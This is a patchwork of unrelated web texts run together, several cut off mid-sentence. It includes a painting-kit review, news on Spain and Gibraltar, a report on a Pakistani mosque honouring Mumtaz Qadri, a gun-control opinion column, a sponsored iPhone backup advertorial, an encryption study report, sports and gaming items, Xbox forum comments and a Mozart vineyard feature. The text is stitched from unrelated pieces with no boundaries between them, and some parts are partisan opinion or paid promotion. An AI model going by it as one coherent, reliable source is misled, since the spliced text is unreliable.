Marauder. This figure will challenge you to be able to differentiate between different textures such as chain mail, fur, and leather. It also introduces a skin on a figure, albeit a green-colored skin. The picture here is an unfinished Orc Marauder. I got as far as doing the base layer and the washes for the whole figure. I did some minor highlights on the skin, specifically the arms and the chest. The rest of the figure will look dark due to the dark wash. I really wanted to paint my Star Wars: Imperial Assault Stormtroopers, and I couldn’t resist it any longer. The Force was too strong. Naturally, this means that the Silver Armor Knight has yet to meet a paintbrush, but it will in due time. So what can I say about this Learn to Paint Kit? I can say after working on only one and a half figures (not even completing a second one) by just following the rules included in the kit, I felt confident enough to put that project on hold and jump onto the real motivation for this hobby: Star Wars: Imperial Assault. The components are durable and versatile, and the techniques you’ll learn will be invaluable. Don’t even buy a new set of brushes, because I did, and the new ones bent at the tip. I
on sovereignty achieves absolutely nothing particularly for all those unemployed and looking for jobs on the Spanish side of the border.” “Gibraltar is an opportunity for those people and the sooner Mr Garcia-Margallo understands that, the sooner Gibraltar and Spain could reach agreements on local cooperation for the benefit of everyone.” WIDER AGENDA During the Spanish minister’s visit to Buenos Aires, Argentina and Spain said they would reactivate bilateral mechanisms for cooperation that had been “dormant”, promoting political and trade relations. “We addressed all the issues of the agenda and the regional situation and decided to re-launch existing bilateral mechanisms, which have been dormant for too long”, said Ms Malcorra. Another meeting of the political forum between Spain and Argentina has been set for the second half of this year. “We will again promote private business mechanisms to work on a specific agenda,” she said in a statement issued by the Argentine Foreign Ministry. Sra Malcorra said Spain was the second-largest direct investor in Argentina but that investments had dropped off in recent months. “We are working on an investment agenda and we expect Spain to play an active role as investor in our national infrastructure program,” she said. AdvertisementMosque named after Punjab governor's murderer Mumtaz Qadri is so popular with worshippers it can't keep up with demand A mosque named in honour of the killer of a politician who called for the reform of Pakistan's controversial blasphemy laws is proving so popular it is raising funds to double its capacity. The modest concrete building in the scruffy suburb of the Pakistani capital is named after Mumtaz Qadri, a former police bodyguard who in 2011 murdered Salaman Taseer, the governor of Punjab province whom he was supposed to be protecting. Taseer had incurred public wrath by voicing support for Aasia Bibi, a Christian woman who had been sentenced to death for allegedly insulting the prophet Muhammad. Mohammad Ashfaq Sabri, the prayer leader in charge of the mosque, said yesterday he needed to expand to keep up with demand. "People love Mumtaz Qadri," he told the Guardian. "More and more people want to offer their prayers in this mosque." The £7,500 they hope to raise will create a new prayer hall on the roof so that the 500 worshippers who regularly come for Friday prayers will no longer have to spill out on to the dusty lane outside in Islamabad's VIP Ghori Town. Qadri is celebrated for emptying a magazine of bullets into the back of Taseer outside a coffee shop in an upmarket shopping district of the capital on a winter's day three years ago. Taseer had enraged many by describing Pakistan's antiquated blasphemy legislation as a "black law". On Wednesday morning, one man among a handful offering prayers in the carpeted prayer hall said it would be unthinkable to alter laws he said were essential for protecting Islam from abuse. "Everyone gives Mumtaz Qadri respect," said Ali Haider, a 27-year-old who runs a nearby mobile phone shop. "He was prepared to protect his religion and any one of us would have done the same." It is a view widely held in Pakistan. When Qadri appeared in court after the killing, lawyers showered him with rose petals, while the judge who sentenced him to death had to flee the country. The plot on which the mosque was built was donated by Taji Khokhar, a wealthy developer, Sabri said. With such widespread public support for Qadri, even those who regard the incident as an especially horrifying example of Pakistan's slide into religious intolerance have learned to keep quiet. Today, few dare to discuss publicly the many problems of the blasphemy laws, which include the difficulty of examining evidence in court for fear of repeating a blasphemous statement, and the ease with which malicious allegations can be made. Although the mosque was built three years ago, it attracted comment only this week from Pakistan's tiny caste of liberals after a resident highlighted its existence on Twitter. The news of Masjid (mosque) Mumtaz Qadri comes shortly after it was discovered that another Islamabad mosque – the infamous Lal Masjid – had named a small library after Osama bin Laden. Abdul Aziz, the high-profile mullah in charge, has publicly defenced the Pakistani Taliban, with whom he shares the aim of introducing strict Sharia law. But whereas Aziz follows the austere Deobandi school of Islam,which critics say fosters extremism and intolerance, the worshippers at the Qadri mosque are Barelvis, a branch of the religion heavily influenced by Sufi mysticism and generally considered a force for moderation and tolerance. Some counter-extremism experts have even argued for Barelvism to be quietly supported by western powers to help it deal with the growing challenge from Deobandis and other radical sects, which are growing in popularity in Pakistan. Only a few weeks ago Sabri attended a large demonstration in Lahore against the Taliban. Recently debate has raged over whether the army should be sent to clear militants out of their sanctuaries on the Afghan border, with firebrand clerics on the religious right staunchly opposed. Sabri said the operation should have happened a long time ago. Although he regards Qadri as a hero, he believes the Taliban campaign of violence against both civilians and government forces cannot be condoned. "That way of doing things is completely wrong," he said.Oceangoing bubble’s voyage cut short Philanthropic runner Reza Baluchi has run cross-country across the world’s harshest terrains. Early Friday morning, he attempted to conquer the water by running across the Santa Monica Bay to Catalina Island in an inflatable bubble. Iranian-born Baluchi originally estimated the over 35-mile trip would take approximately 12 hours, going about two mph, but after three hours in the bubble he called it quits. “I will try again,” Baluchi said. “I never quit.” After running about six miles in the bubble, conditions inside the plastic orb became too difficult to continue the journey. Because of the turning motion of the ball, the breathing tube he constructed broke, cutting off airflow and forcing him to use one hand to hold the mask to his face. He also realized that the bubble might need to be reconstructed—with two holes instead of one for more air flow. “The temperature got up to 120 degrees,” he said. “It’s like a giant sauna.” To move the 600-pound custom-made bubble, or “Zorb ball,” Baluchi had to use both his hands and his feet to keep it going forward. Turning required him to run more on one side than the other, and air was fed to him through a mask and tube. For stability, the ball was placed inside a metal frame with soccer balls lining the outside. Without the paddle-wheel like frame, the Zorb would be at the whim of the wind and Baluchi could be blown off course. After his three-hour journey, Baluchi realized that he lost slightly over seven pounds. He plans on attempting the crossing again in two weeks and is confident that by making technical changes to the bubble that he will succeed. “I’ll try and fix it a little bit and it will be no problem,” said Baluchi. His ultimate goal is to make a successful 46-day bubble-run to the Hawaiian Islands.California has universal background checks, gun registration requirements, gun confiscation laws, a ten-day waiting period on gun purchases, an “assault weapons” ban, a “good cause” requirement for concealed carry, and a high-profile shooting that garners national attention two or three times a year. The latest occurred on June 14 in San Francisco, where a UPS employee pulled out a gun during “a company meeting” and opened fire, killing three innocents. Moms Demand Action was quick to post news of the incident on its Facebook page–another high-profile shooting it can use to push for more gun control. However, to be honest, the only gun controls California has yet to pass are a ban on semi-automatic guns and/or an outright ban on gun ownership. A ban on semi-automatic handguns would do nothing to slow crime, as it would only mean that criminals would have semi-automatic guns, and law-abiding citizens would not. Moreover, the Fresno gunman, who attacked in April, killed his victims with a revolver, which is more than sufficient as a murder weapon when one lives in a Democrat-run state that goes out of its way to prevent law-abiding citizens from being armed for self-defense. We realize from the Chicago example that an all-out ban on the possession of handguns of any kind correlates with even higher murders than we see in that city now. In short, bans empower criminals and terrorists while making the vulnerable more vulnerable. So despite almost every gun control imaginable, a UPS employee opened fired on colleagues during a meeting, and we now know the guns he used were stolen. According to the San Francisco Chronicle, the attacker had two guns on his person, one of which had been stolen in Utah and one in Napa, California. The Chronicle reported that although “California outlaws an array of assault weapons as well as high-capacity ammunition magazines, the weaponry frequently travels across the border.” In reporting this, the outlet overlooked that they had already announced one of the stolen guns was from Napa, and a gun stolen in Napa does not have to cross state borders before being used in a crime in San Francisco. Clearly, the UPS attack is just another shooting that shows strict gun control is not an effective means of stopping determined attackers from attacking. But it certainly guarantees their victims will not be able to shoot back. AWR Hawkins is the Second Amendment columnist for Breitbart News and host of Bullets with AWR Hawkins, a Breitbart News podcast. He is also the political analyst for Armed American Radio. Follow him on Twitter: @AWRHawkins. Reach him directly at awrhawkins@breitbart.com.You don’t realize how much you rely on your iOS devices until something goes wrong. That’s why, when your iPhone or iPad is lost, stolen, or damaged, many people panic, wondering if they have access to the data they need. Is it in the cloud? Can you pull it off a damaged hard drive? Do your backups cover everything? When was the last time you backed it up? There are plenty of different ways to prepare for an iOS disaster, each with its own merits. Here are some of the most bankable backup methods – each applicable to Windows and OSX - to ensure the important data on your iPhone or iPad is always at the ready, even in the event of a catastrophe. Backup Through iCloud Apple’s iCloud system backs up your devices wirelessly, sending your data to a secure cloud-based server, making it a go-to solution that merits consideration. Unfortunately, iCloud only provides you with 5GB of free data storage to cover all of your devices. Even casual users will find that this allotment of data storage is used up quickly. [Upgrades range from $20/year (15GB total) to $100/year (55GB total).] You can configure iCloud in the Settings app on your iOS device. Note that to optimize your storage space you can configure what types of files you want to back up individually – Contacts, Calendars, Photos, and so on. Backup Through iTunes While iCloud backups have the advantage of being securely stored at offsite locations, you can also choose to back up files directly to your PC using a standard USB connection. Backing up your device on your PC is considerably faster, and provides you with unlimited data storage. However, you’ll have to remember to physically plug your device into your computer from time to time to keep the backup current with your device’s data. Set up iTunes backups from within iTunes after you’ve registered your device with your desktop. A backup should begin automatically when you plug your device in and iTunes opens. If not, right-click the device in the left pane and select “Back Up” to manually begin one. Advanced Backup and Recovery with Fonelab Apple’s stock backup systems are useful, but they are an all-or-nothing affair. You can’t pick and choose what items you want to restore, so your only option is a complete reboot to your last backup. If you’re simply looking for one deleted text SMS, MMS, iMessage, or voicemail, you may want to pursue other options. Enter Fonelab, a third party software solution that lets you back up and recover nearly everything on your device. The newly-released Fonelab 8 has a streamlined interface, making the process of backing up or restoring your device fast and easy. Just install the software on your Windows PC and connect your iOS device to get started. Fonelab will work with all of the latest devices, including the iPhone 5 and 4th-Gen iPad. The system will do a deep scan of your connected device for data – even if the screen is smashed or the device isn’t working properly. Once it’s finished, you simply select which items you’d like to copy to your computer. If your iPhone or iPad goes missing, Fonelab can scan an iTunes backup file or an iCloud backup (new in Fonelab 8) for your data, so you can choose specific pieces of data for recovery. (With this method, you can only recover data that was actually backed up, of course.) With Fonelab 8’s full-blown backup and recovery capabilities, you can dig deep into your device’s data and even preview SMS threads to choose specific messages for retrieval. You can also scan through thumbnails of all of your device’s photos and choose which ones you’d like to recover. Unlike iCloud or iTunes, Fonelab 8 also allows you to recover some third-party app data, like messages sent and received through the WhatsApp Messenger. Once you’ve identified the items you want to save, just click Recover to complete the process. Don’t rely on iTunes or Apple’s expensive iCloud service to back up or restore your device. Fonelab’s straightforward software gives you total control of the backup and recovery process, ensuring that you always have access to the data you need. Get started today: Aiseesoft is offering a special limited time discount for PCWorld readers. This story, "Bankable Backup and Recovery options for Your iPhone or iPad" was originally published by BrandPost.Encryption fears for law enforcement overblown: study Encrypted communication is making law enforcement and counterterrorism investigations more difficult, but fears of "going dark" are overblown, a study said Monday. The report by Harvard University's Berkman Center said that despite efforts to boost encryption in smartphone and online services, investigations still can gain access to data in many circumstances. The study sought to evaluate claims by US law enforcement and intelligence officials that encryption is leading to a situation where they are unable to obtain data even with a legitimate warrant -- a scenario described by some as "going dark." Harvard University's survey of data encryption, like this code seen on February 1, 2014 in Miami, Florida, concludes that it still doesn't hinder criminal investigations in many circumstances ©Joe Raedle (Getty/AFP/File) "We question whether the 'going dark' metaphor accurately describes the state of affairs," the report said. "Are we really headed to a future in which our ability to effectively surveil criminals and bad actors is impossible? We think not." The researchers acknowledged that it has become increasingly difficult to get data from encrypted smartphones powered by software Apple or Google software. But they also pointed out a distinction between data "at rest" on smart devices and in transmission. "The distinction is important because an overwhelming percentage of Internet users communicate through web-based services, such as webmail, instant messages, and social networking websites that are not end-to-end encrypted," the report said. "In the course of an investigation, government officials can intercept communications and seek access to stored communications held by these intermediaries by obtaining a warrant, court order, or subpoena, provided that the company is capable of producing the information sought," it added. The encryption debate has heated up in the United States and other countries in light of concerns raised by FBI and National Security Agency officials who claim investigations are being hindered by encryption. US presidential candidates and others have argued for solutions that could allow encrypted data to be delivered with an appropriate warrant. But the Berkman report said that "short of a form of government intervention in technology that appears contemplated by no one outside of the most despotic regimes, communication channels resistant to surveillance will always exist." It also noted that for national security, "we must consider whether providing access to encrypted communications to help prevent terrorism and investigate crime would also increase our vulnerability to cyber espionage and other threats." The researchers said that despite the latest encryption efforts, many software systems are "fragmented" and that a lack of coordination will leave open some avenues for investigation. The report said that with the number of connected devices on the rise, "this has the potential to drastically change surveillance. The still images, video, and audio captured by these devices may enable real-time intercept and recording with after-the-fact access." "The going dark metaphor suggests that communications are becoming steadily out of reach -- an aperture is closing, and once closed we are blind," the report concluded.Recently GameStop, the videogame retailer, added a new feature to its online storefront that permits filtering of its game catalog by the ratings assigned by the Entertainment Software Rating Board (ESRB). Presumably, a savvy parent shopping for an 8-year-old child can now browse for games rated E (for "Everyone") and skip those rated E10+ which are appropriate for a slightly older audience. I started looking at the number of games of each type per platform -- Nintendo DS, PlayStation Portable, Xbox 360 -- and it made me wonder what patterns I would see if I could visualize these distributions. Fortunately, the ESRB has long provided a variety of means for searching its ratings database of rated games. After I compiled the data for several platforms, I began making charts of the distributions on individual consoles and handhelds. Those graphs revealed manufacturer-specific ratings distributions, and possibly even some evidence of how platforms have different strategies in different generations. Handhelds For our first comparison we'll examine three handheld platforms: the Nintendo Game Boy Advance, the Nintendo DS, and the Sony PlayStation Portable (PSP). As an exercise in analyzing these rating distribution graphs, the platforms are not indicated initially, and the graphs are given in random order. With a little bit of background knowledge and deduction each platform can be recognized just from its distribution. Can you tell which is which? The PSP will probably stand out to most people, but the real trick is knowing which is the Nintendo DS and which is the Game Boy Advance. The answers, and explanations, are shown on the next page.The Seattle Seahawks looked around the NFC West in 2003 and decided they needed a cornerback with Marcus Trufant's size, speed and skill. They made Trufant the 11th pick of the draft. "In this division we're in, you can't have enough good corners," then-coordinator Ray Rhodes said on draft day 2003. Trufant wound up covering Torry Holt, Isaac Bruce, Anquan Boldin and Larry Fitzgerald while all were at or near their primes. He fared well enough to earn Pro Bowl honors during the 2007 season, but age and injuries eventually caught up with him. As Danny O'Neil reports, the Seahawks plan to release Trufant in a move that seemed inevitable for various reasons. Trufant, 31, missed 12 games to injury last season. Brandon Browner and Richard Sherman flourished in his absence. There was no way Seattle was going to bring back Trufant at his $7.2 million salary for 2012. The question was whether the sides might work out something allowing Trufant to return at a diminished rate, and in a diminished role. He had taken a reduced salary for 2011 heading into the season. Trufant was the longest-tenured current Seahawk. He started at least 15 games in seven of his nine seasons, picking off 21 passes. Trufant started the only Super Bowl in franchise history. He made an immediate impact, starting every game as a rookie and playing well early. "It’s hard to put into words when you’ve been at this a long time how a young player like Marcus, who’s a rookie, can be as consistent and solid as he has been," then-coach Mike Holgmren said at the time. "I'm one of those who has said, 'Let's not anoint him yet.' But he has been playing very, very well for us." Terence Newman, Andre Woolfolk and Nnamdi Asomugha were the other first-round cornerbacks entering the NFL with the 2003 draft class. Back trouble slowed Trufant in 2009 and again last season. He started the first four games in 2011 before landing on injured reserve.Since posting the original article 12 Reasons Photographers Choose to Shoot Film over Digital an intense amount of vitriol has been directed towards it, which is not surprising considering how divisive the dichotomy can be. It’s mostly been by people who can’t read properly and are therefore already at a disadvantage, however to be completely fair we’re going to flip things on their head and take a look at reasons why a photographer would choose to shoot digital instead of film. 1. Because deep down, quality doesn’t really matter to us. When you can use the magnification tool up to 400% and still not see individual pixels in your image then who is really going to care? If you don’t know the difference between Adobe RGB and sRGb colour spaces then the customer definitely won’t notice the blocked out blacks in a digital print. Therefore fobbing off over processed, slightly soft images will still bring in the cash – which is all a digital photographer really cares about (according to some comments). If that doesn’t work, you can always do an inkjet print on canvas and call it art. I hear the trailer folk love that sort of thing these days. 2. I’ve got a Bottomless Pot of Money Sure, digital cameras are incredibly expensive compared to their film counterparts, but they’ve got that CCD sensor in them, which must take up the bulk of the raw materials used. A great deal about the joy of photography is spending vast quantities of money on ‘L’ glass and the latest body to top the Dxomark charts. Let’s not forget that it costs 99 pence to have Tesco develop your roll of film, so you’d only get to shoot 2000 rolls of 36 exposures (that’s 72,000 images) before it started getting more expensive to shoot digital. 3. I Enjoy Riding on the Escalator of Commercialism The only reason most people own a Canon 5d mark iii is because Canon haven’t released a mark iv yet. There’s few things more appealing about the camera tech industry than reading the rumour mill of the slight improvements to the grip on last year’s model and how it’s going to revolutionise your photography practise. The fact MegaPixel is almost a perfect anagram of ManHood speaks volumes. 4. Because of the Nikon vs Canon debate Unlike discussing the merits between film and digital, a dialogue between fauxtographers about which brand is better out of the two titans Nikon and Canon is not pretentious at all. Sony makes both their sensors anyway. 5. The World’s Best Contemporary Photographers all use Digital. Apart from Andreas Gursky, Cindy Sherman, Jeff Wall, Martin Parr, Elliot Erwitt, Steve McCurry, Don McCullin, David LaChapelle, Peter Lik, David Bailey, Nan Goldin, Sally Mann, Robert Frank, John Rankin, Jurgen Teller, the Bechers, Chuck Close, etc etc etc, who all still shoot film at the very least on occasion there’s a lot of iPhone camera pro-digital photographer food bloggers on Instagram who are ace. And of course my mate at the camera club takes lovely photographs of butterflies on his D80. 6. I very much Enjoy Sifting through 6000 Wedding Photographs Let us be immeasurably glad that wedding photographers are now expected to shoot from a Pinterest list of 125 different subjects. Be glad that gone are the days a Twin Lens Reflex Rollei and 5 rolls of 120 were enough. Digital photographers tend to love sitting down at the end of a 16 hour shoot to plough through 280 different jpegs of the mother in law’s face looking for the perfect shot. As long as none of the memory cards have corrupted that is. 7. Because Someone said so on the Internet Instead of reading an article in full, it’s easier to skip to the Facebook comments section and look for the comment with most likes. This person’s opinion should be treated as fact, and from that you can discern that film is in fact a pointless medium. 8. Because you can’t buy Film Anymore. Apart from Boots, Asda, Tesco, Morrisons, Sainsbury’s, Amazon, eBay, 7dayshop, and practically everywhere else on the planet, everyone knows you can’t buy film any more – and that makes it difficult to shoot film. 9. I’m Afraid of the Dark Most digital photographers are terrified of walking into a room without a computer screen, let alone no lights or windows at all. The photographer’s darkroom, with its shades of red, monstrous enlarging machines and glow in the dark knobs is the stuff of nightmares. 10. Getting it Right in Camera is just too Difficult With the advent of Photoshop, the need for getting the photograph right in camera is far less important. The mating cry of a digital photographer “I can fix it in Photoshop afterwards” can often be heard during street photography meet ups or World Press Photo Award ceremonies. 11. I Don’t have that sort of Patience. When you’ve got a client list consisting of three snotty children, two alsatians, a pimple covered graduate, and that man who wants just his tattooed bicep on canvas, waiting around is not an option. Rattling off a memory card full of images and importing them into Lightroom to do nothing but sit and stare at a colour corrected $500 screen for the next 12 hours is much easier than a photo lab and home enlargements. and finally… 12. Instant Gratification Surprise is overrated. If your camera hasn’t got an LCD screen on the back of it then it’s practically impossible to take a photo. Humans have already evolved so now our eyes are too big to look through a camera’s viewfinder if you’re unlucky enough to have one. If you didn’t capture the decisive moment on the first frame, then hopefully you will have on one of the 600 others. If not, you can always fix it in Photoshop. All images used with permission. Here is the original article. AdvertisementsA certified anti-gay hate group is lashing out by creating a map of atheist, humanist, LGBT, and "anti-Christian" groups. The American Family Association continues to object to the Southern Poverty Law Center adding them to its list of anti-gay hate groups. Despite wearing the label as badge of honor, the AFA often mischaracterizes the attribution, falsely claiming the SPLC included them because of their Christian beliefs in going to "church on Sundays," "intact families," "free speech," "freedom of religion" and "belief in Jesus Christ." Last month the American Family Association was forced to remove Bryan Fischer as its official spokesperson, over comments he has made for years claiming gays are Nazis, and other similar claims. That came immediately before the AFA sponsored a trip to Israel for about 60 GOP lawmakers and Republican leaders, despite a long anti-Semitic streak displayed by AFA founder Don Wildmon, and Fischer. LOOK: American Family Association: We Keep Bryan Fischer On The Payroll For 'Diversity' Now, the AFA is fighting back. They've created a Bigotry Map highlighting groups that advocate for the "homosexual agenda," along with "atheist," "anti-Christian," and "Humanist" categories. Among the national groups listed are the Human Rights Campaign, GLSEN, the Freedom From Religion Foundation, and of course, the Southern Poverty Law Center. Claiming these are "groups and organizations that openly display bigotry toward the Christian faith," and "are deeply intolerant towards the Christian religion," the Bigotry Map claims the groups' "objectives are to silence Christians and to remove all public displays of Christian heritage and faith in America." "A common practice of these groups is threatening our nation's schools, cities and states. By threat of lawsuit, they demand prayer removed from schools and city council meetings, Ten Commandments monuments stricken from courthouses and memorial crosses purged from cemeteries and parks." Of course, those lawsuits are almost always successful because of the First Amendment and our nation's devotion to the idea of separation between church and state. "Because of anti-Christian bigotry, private business owners have been sued and forced to close their business," the AFA claims, without naming one. Exactly which private business owners have been "forced to close their business"? "Some members or supporters of these groups have committed violent crimes against Christians and faith-based groups," the AFA claims. Aside from one who attacked the Family Research Council headquarters, exactly whom else? The map actually has few organizations on it, mostly local branches of the above mentioned groups, proving that the persecution the American Family Association claims is mostly non-existent. Image: Screenshot via American Family Association Hat tip: Right Wing Watch See a mistake? Email corrections to: [email protected]The retail version will offer 2000G on its own. The digital versions of the individual games will each offer 1000G as well. Buy both ways for a total of 4000G. :) 2033 Redux digital: http://www.xboxachievements.com/game/metro-2033-redux/achievements/ Last Light Redux digital: http://www.xboxachievements.com/game/metro-last-light-redux/achievements/ And I guess this answers the question of how the Master Chief Collection (or any future retail collections) may be handled. Forum Posts: 423 Comment #2 by ImAPirateSoSueMe Wednesday, August 20, 2014 @ 12:29:16 PM (0) So just to clarify... I'm going to buy both of them digital, so that's 2000G w/ 1000G for each right there.. if I also get the disc(Would it be fine in the US or is this one of those "import" only deals?), that'd be another 2000G? Forum Posts: 28206 Comment #3 by BiggD Wednesday, August 20, 2014 @ 12:31:37 PM (0) If Halo: MCC is like this, that's 8000GS :o Forum Posts: 28206 Comment #4 by BiggD Wednesday, August 20, 2014 @ 12:34:37 PM ( 1 ) Actually, I doubt MCC will be like this since you can't purchase the games individually like you can with Metro Redux. Forum Posts: 565 Comment #5 by merzitar Wednesday, August 20, 2014 @ 12:48:02 PM ( 1 ) I wish they would mention which game the achievements belong to. Forum Posts: 1182 Comment #6 by FullMoonBeaver Wednesday, August 20, 2014 @ 01:07:38 PM (0) So you can stack the games achievements? That's gonna be enticing for achievements hunters. Might consider this now. Just need the money. Forum Posts: 10 Comment #7 by McQueen101 Wednesday, August 20, 2014 @ 01:20:56 PM (0) @5 Just look at the games individual achievement list since that seems to be the only way for now. Forum Posts: 8 Comment #8 by RyanW96 Wednesday, August 20, 2014 @ 01:27:14 PM (0) I wouldn't expect the Master Chief Collection to do this since we most likely won't be able to buy each game individually like we could here. @2: Correct on the Gamerscore breakdown. The retail version from any region will offer this 2000G though, no need to import from anywhere. @4: Yeah, I meant along the lines of all the Gamerscore being shoved into one list rather than split up for retail collections. Once we posted the two separate lists for the digital versions everyone expected MCC to have four separate lists as well. Now we know why those exist. :) Oh and @5/7, I can work on splitting the lists up today. Forum Posts: 121 Comment #11 by NO1KEV Wednesday, August 20, 2014 @ 04:20:26 PM ( 1 ) Well that's a clever strategy to get more sales! I like achievements but i think stacking the same game multiple times its kinda sad. I mean where is any skill involved in that?! Neat, I was wondering if it would be like how it is on the 360 if you bought a bundle/compilation disc and it would individually load the game and it's list rather than one unified list. 2000G? Challenge fucking accepted. Forum Posts: 0 Comment #14 by TenThousandFists Wednesday, August 20, 2014 @ 05:15:41 PM (0) I dunno if it was ever intentionally done, but Arkham Asylum and AA GOTY had separate achievement lists, so you could essentially 100% that game twice. Dunno if I would bother with this though, once is enough I think. Yeah I think I will rent the retail version, and maybe pick up the digital versions a couple years down the line if they go on sale for like $5 each. Forum Posts: 209 Comment #16 by ShotyMcFat Wednesday, August 20, 2014 @ 06:00:50 PM (0) I doubt that Halo MCC will be done like this, as that is 4 games that have been weaved together to create one (think multiplayer). While this is just 2 separate games. Strange. Someone on TA already started the games a few weeks ago. Forum Posts: 423 Comment #18 by ImAPirateSoSueMe Wednesday, August 20, 2014 @ 07:00:48 PM (0) #17, it's 2014.... people should stop being surprised when they see someone else playing a game before release.... Forum Posts: 595 Comment #19 by deluxnugs Wednesday, August 20, 2014 @ 10:02:17 PM (0) @ 17 that guy does loads of videos for us on both sites and gets review copies for lots of games. this is amazing news for me. i get to do 4 playthroughs of each game and get 4000Gs for doing it. I love life so much right now. i think ill go shit in my pants. Forum Posts: 357 Comment #20 by xCKJoeh153x Wednesday, August 20, 2014 @ 10:47:01 PM (0) @14 Welcome to the world of stackable games, there's 5 versions of Batman AA. Here's the stackable games thread: http://www.xboxachievements.com/forum/showthread.php?t=583549 Forum Posts: 1188 Comment #21 by luuwat Thursday, August 21, 2014 @ 04:52:59 AM (0) wow, first stackable game so far for the XBOX ONE. look forward to several more :D @14: Yeah, that was because Square Enix had acquired the rights to the game and republished it. Forum Posts: 2 Comment #23 by julianportman Thursday, August 21, 2014 @ 09:29:14 PM (0) How will PS4 work? 1 platinum? Stupid...? Forum Posts: 1 Comment #24 by McCheds Friday, August 22, 2014 @ 03:40:08 PM ( -1 ) I have noticed the huge boosts for GS on the X1. Every arcade game getting 1000GS, Metro having the ability to do multiple playthroughs with different copies of the same game. Every Chievo hunters dream haha Forum Posts: 15 Comment #25 by SyndicateKing Saturday, August 23, 2014 @ 02:22:31 AM (0) If anyone wants to know, in the UK at the moment this game is £25 to preorder. Are these all single player achievements? Forum Posts: 154 Comment #27 by Suplemental Saturday, August 23, 2014 @ 10:21:47 AM (0) @26 If you've played either game you'd know that they have no Multiplayer whatsoever if you haven't then yes they are all Single Player achievements. @27 I haven't played either one but thank you. They all looked like SP achievements but sometimes these lists can be deceiving, lol. Forum Posts: 403 Comment #30 by Baki54 Monday, August 25, 2014 @ 01:05:40 AM (0) Ungggh..maaan, this is going to be overkill.I still have the 360 versions to go through.Now there's 4k up for grabs on the One.It's almost like my backlog is procedurally generated.No matter how I attack it, it's always changing. Forum Posts: 423 Comment #31 by ImAPirateSoSueMe Monday, August 25, 2014 @ 07:35:09 AM (0) #23, well the same thing happened with the DmC collection 360 had one big list, but Ps3 had 3 platinums for it, it may be the same in this case.. but we'll see. Forum Posts: 1 Comment #32 by jholste1 Tuesday, August 26, 2014 @ 10:30:49 PM (0) Both games freeze at 99% loading in their first missions. Really disappointed. Can't even play the damn games. This is on disc. Idk about digital. Their twitter people are aware now tho Forum Posts: 6 Comment #33 by Th4kk1 Thursday, August 28, 2014 @ 06:51:32 AM (0)× SAY WHAT?! City in Washington BANNING CHEESE ahead of big Packers vs. Seahawks matchup BAINBRIDGE ISLAND, WASHINGTON (WITI) — The city manager of the City of Bainbridge Island in Kitsap County, Washington has issued an executive order banning cheese possession and consumption ahead of the big Green Bay Packers playoff matchup with the Seattle Seahawks. Cheese possession and consumption will be banned Friday, January 16th. Below is the executive order issued by City Manager Douglas Schulze: By the authority vested in me as City Manager of the City of Bainbridge Island, Kitsap County, Washington, by the Revised Code of Washington and the Bainbridge Island Municipal Code, it is hereby ordered as follows: Section 1. All executive branch departments and divisions of the Local Government shall authorize employees to celebrate Blue Friday on each Friday prior to any games of the Seattle Seahawks by wearing
White House for Mr. Trump.” Repeating that all the information he has seen to date was collected legally, Nunes also divulged that it “has to deal with FISA and multiple FISA warrants,” referring to the Foreign Intelligence Surveillance Act. Nunes rushed to the White House to brief Trump on his recent findings at the same time that his committee is in the middle of an ongoing investigation into Russia’s interference in the election, which includes a probe into ties between Trump allies and Russian officials. Reporters asked him if it was “appropriate” for him to discuss details of classified surveillance reports with Trump and the press, particularly without first consulting his committee’s ranking member, Rep. Adam Schiff (D-CA), about the content of these reports. Nunes defended his conduct, claiming the intelligence reports he has seen have “nothing to do with the Russian investigation” and that he had a “duty” to tell the President about “possible surveillance activities.” The California lawmaker left the door wide open when asked if the surveillance he was referring to was politically motivated. “What I have read bothers me and I think it should bother the President himself and his team because I think some of it seems to be inappropriate,” he said. He also said the President “is concerned, and he should be.” Asked if he could “rule out” that former President Barack Obama or officials in his administration were involved, he replied, “No, I cannot.” Though none of these new revelations support the President’s assertion that he was wiretapped at Trump Tower by Obama, Trump said that he felt “somewhat vindicated” by these findings. “I very much appreciated the fact that they found what they found,” he said. The FBI, NSA, Attorney General and both congressional intelligence committees say there is no evidence to support Trump’s allegation.This piece originally aired October 12, 2016. Row after row of Sangiovese grapevines cover the hills of Montalcino in Tuscany, where famed Brunello wine is made. But one of these vineyards is a bit different. The grapes here are serenaded all day, every day, by classical music, reports CBS News correspondent Seth Doane. “Imagine the world without music!” said Giancarlo Cignozzi. But Giancarlo doesn’t have to, at least not while he’s here. “I suppose that the music can improve the life of the humanity, animals too. But why not the plants?” Giancarlo said. To try to answer his own question, he started pumping Mozart into a section of his vineyard: “Il Paradiso di Frassina.” He found the vines closer to the music grew bigger and toward the source of the sound. “We divide the property in 25 different areas and we monitor the quality of the grapes at the time of the harvest,” said Ulisse, Giancarlo’s son and another winemaker, who sounds more like a scientist. “How different are the grapes coming from the section of the vineyard with music, compared to the section without?” Doane asked. “The plants seem more robust. The grapes closer to the speaker have the higher sugar content, so we believe in this idea,” Ulisse said. It wasn’t long before this idea piqued the interest of scientists and turned this vineyard into a laboratory. “When you first heard about this guy growing grapes and playing music, what did you think?” Doane asked Stefano Mancuso, a plant scientist at the University of Florence. “That he was another, another crazy guy,” the professor said. “These vines like Mozart?” Doane asked. “It’s very difficult to say that plants like classical music -- Wagner, Mozart, or whatever you want. What they are able actually to do is to perceive sounds and specific frequencies,” Mancuso explained. Mancuso, who gave a “TED Talk” on the roots of plant intelligence, has been studying the Mozart vineyard since 2003. “Plants are, in general, much more sensitive than animals,” Mancuso said. He theorizes Giancarlo’s vines may grow toward the speakers because frequencies resemble those of running water. The consumer electronics company “Bose” heard about the studies, donated 72 speakers and financed more research. “The more impressive of the results were that sound is able to reduce dramatically the number of insect attack,” Mancuso said. They figure the music confuses harmful bugs, making them unable to breed. As a result, the vineyard uses no pesticides and very little fertilizer. The music also scares away birds and other creatures who feed on grapes. “It mean the music can improve...not only the -- and protect and defend the life of the grape...but improve, too, the quality,” Giancarlo said. Giancarlo is proud of the research, not to mention their wines. As for the idea that these vines are reacting simply to sound vibrations – not specifically Mozart – well, this is Italy, and Giancaro said, “I prefer the music. Sorry, but I’m very romantic!” Giancarlo, who’s been serenading his grapes for over a decade, stands by his decision to play Mozart. But Mancuso said they could play many other types of music, even heavy metal if it had enough bass – with consideration of the neighbors.The University of California at Riverside, which in recent years made its share of budget cuts in response to shrinking state appropriations, plans to hire 300 new faculty members over the next five years. "This is a chance to shape this university for years to come," said Kim A. Wilcox, the university’s new chancellor, who announced the hiring plan on Thursday during a ceremony to formally install him in office. The plan is to hire tenured and tenure-track professors in disciplines to be determined. 